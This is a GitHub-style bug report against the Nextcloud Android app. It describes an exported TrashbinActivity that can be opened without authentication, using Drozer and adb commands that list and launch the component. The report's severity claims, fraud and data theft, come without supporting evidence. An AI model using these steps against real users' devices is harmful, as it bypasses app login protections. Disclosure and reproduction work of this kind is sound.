Activity Hijacking
- Dominant language
- Kotlin
- Stars
- 5.6k
- Forks
- 2k
- Avg merge
- 2d 18h
- Merged PRs (30d)
- 92
Description
### ⚠️ Before posting ⚠️
- [x] This is a **bug**, not a question or an enhancement.
- [x] I've [searched for similar issues](https://github.com/nextcloud/android/issues) and didn't find a duplicate.
- [x] I've written a clear and descriptive title for this issue, not just "Bug" or "Crash".
- [x] I agree to follow Nextcloud's [Code of Conduct](https://nextcloud.com/contribute/code-of-conduct/).
### Steps to reproduce
Tool: Drozer(Android penetration testing tool)
Steps:
1.configure communication environment
Run the following command to establish a communication channel:
adb forward tcp:31415 tcp:31415
drozer console connect
2.ldentify exposed components of the target app
run app.activity.info -a com.nextcloud.client
3. Directly launch the target Activity
run app.activity.start --component com.nextcloud.client com.owncloud.android.ui.trashbin.TrashbinActivity
### Expected behaviour
Skipping the authentication directly leads to the program crashing.
### Actual behaviour
Impact: Attackers can hijack critical interfaces to induce fraudulent operations.
Exploitation Logic:
1. The attacker launches the target Activity via Drozer
2. The target app directly displays an interface protected by login requirements
3. The user remains unaware, enabling the attacker to steal sensitive data or damage programs.
### Android version
Android 12
### Device brand and model
MEIZU M381Q 9
### Stock or custom OS?
Custom (explain in "additional information")
### Nextcloud android app version
3.31.1
### Nextcloud server version
31.0.3.2
### Using a reverse proxy?
No
### Android logs
_No response_
### Server error logs
```bash
```
### Additional information
_No response_
Contributor guide
Assessment
This issue has not been assessed yet.